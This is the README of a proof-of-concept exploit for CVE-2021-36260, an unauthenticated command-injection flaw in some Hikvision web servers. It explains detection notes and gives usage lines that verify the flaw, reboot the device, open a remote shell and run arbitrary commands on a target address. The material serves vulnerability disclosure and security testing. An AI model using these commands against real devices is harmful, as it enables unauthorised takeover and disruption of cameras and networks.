CVE-2021-36260

CVE-2021-36260 POC vulnérabilité d'injection de commande dans le serveur web de certains produits Hikvision. En raison d'une validation d'entrée insuffisante, un attaquant peut exploiter la vulnérabilité pour lancer une attaque d'injection de commande en envoyant des messages avec des commandes malveillantes.

Exploit Title: Hikvision Web Server Build 210702 - Injection de commande

Exploit Author: bashis -- correction d'erreurs par shubtheone

Vendor Homepage: https://www.hikvision.com/

Version: 1.0

CVE: CVE-2021-36260

Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

Tout le crédit à Watchful_IP

Remarque :

1. Ce code ne vérifiera pas si la cible distante est un appareil Hikvision ou non.
2. La plupart de mon intérêt pour ce code s'est concentré sur la façon de détecter de manière fiable les appareils vulnérables et/ou exploitables. Certains appareils sont faciles à détecter, vérifier et exploiter la vulnérabilité, d'autres peuvent être vulnérables mais pas si faciles à vérifier et exploiter. Je pense que le code de vérification combiné devrait avoir une très haute précision.
3. La 'vérification sécurisée' (--check) essaiera d'écrire et de lire pour vérification La 'vérification non sécurisée' (--reboot) essaiera de redémarrer l'appareil pour vérification

[Exemples] Safe vulnerability/verify check: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check

Safe and unsafe vulnerability/verify check: (will only use 'unsafe check' if not verified with 'safe check') $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot

Unsafe vulnerability/verify check: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot

Launch and connect to SSH shell: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell

Execute command: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"

Execute blind command: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"

CVE-2021-36260-hikvision